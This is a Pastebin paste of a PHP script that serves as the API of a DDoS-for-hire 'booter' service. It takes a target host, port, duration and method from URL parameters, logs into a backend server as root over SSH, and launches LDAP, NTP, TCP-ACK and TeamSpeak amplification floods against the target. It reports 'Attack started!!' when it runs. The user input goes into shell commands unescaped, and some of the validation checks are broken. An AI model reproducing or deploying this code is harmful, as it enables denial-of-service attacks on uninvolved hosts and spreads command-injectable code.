Advertisement
Guest User

Untitled

a guest
Dec 13th, 2017
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.37 KB | None | 0 0
  1. <?php
  2. ignore_user_abort(true);
  3. set_time_limit(1000);
  4. $server_ip = "";
  5. $server_pass = "";
  6. $server_user = "root";
  7. $key = $_GET['key'];
  8. $host = $_GET['host'];
  9. $port = intval($_GET['port']);
  10. $time = intval($_GET['time']);
  11. $method = $_GET['method'];
  12. $action = $_GET['action'];
  13. $array = array("udp","ntp","tcpack","ts3","stop","home");
  14. $ray = array("stoplookingthx"); //This is your API password.
  15. if (!empty($key)){
  16. }else{
  17. die('Error: API key is empty!');}
  18. if (in_array($key, $ray)){
  19. }else{
  20. die('Error: Incorrect API key!');}
  21. if (!empty($time)){
  22. }else{
  23. die('Error: time is empty!');}
  24. if (!empty($host)){
  25. }else{
  26. die('Error: Host is empty!');}
  27. if (!empty($method)){
  28. }else{
  29. die('Error: Method is empty!');}
  30. if (in_array($method, $array)){
  31. }else{
  32. die('Error: The method you requested does not exist!');}
  33. if ($port > 44405){
  34. die('Error: Ports over 44405 do not exist');}
  35. if ($time > 1000){
  36. die('Error: Cannot exceed 1000 seconds!');}
  37. if(ctype_digit($Time)){
  38. die('Error: Time is not in numeric form!');}
  39. if(ctype_digit($Port)){
  40. die('Error: Port is not in numeric form!');}
  41. if ($method == "udp") { $command = "./ldap $host $port ldap.txt 2 -1 $time"; }
  42. if ($method == "ntp") { $command = "./ntp $host $port ntp_filtered.txt 2 -1 $time"; }
  43. if ($method == "tcpack") { $command = "./tcp-ack $host 4 -1 $time"; }
  44. if ($method == "ts3") { $command = "./ts3 $host $port ts3.txt 50 -1 $time"; }
  45. if ($method == "home") { $command = "./sudp $host $port 3 300 $time"; }
  46. if ($method == "stop") { $command = "pkill $host -f"; }
  47. if (!function_exists("ssh2_connect")) die("Error: SSH2 does not exist on you're server");
  48. if(!($con = ssh2_connect($server_ip, 22))){
  49. echo "Error: Connection Issue";
  50. } else {
  51. if(!ssh2_auth_password($con, $server_user, $server_pass)) {
  52. echo "Error: Login failed, one or more of you're server credentials are incorrect.";
  53. } else {
  54.  
  55. if (!($stream = ssh2_exec($con, $command ))) {
  56. echo "Error: You're server was not able to execute you're methods file and or its dependencies";
  57. } else {
  58. stream_set_blocking($stream, false);
  59. $data = "";
  60. while ($buf = fread($stream,4096)) {
  61. $data .= $buf;
  62. }
  63. echo "Attack started!!</br>Hitting: $host</br>On Port: $port </br>Attack Length: $time</br>With: $method";
  64. fclose($stream);
  65. }
  66. }
  67. }
  68. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement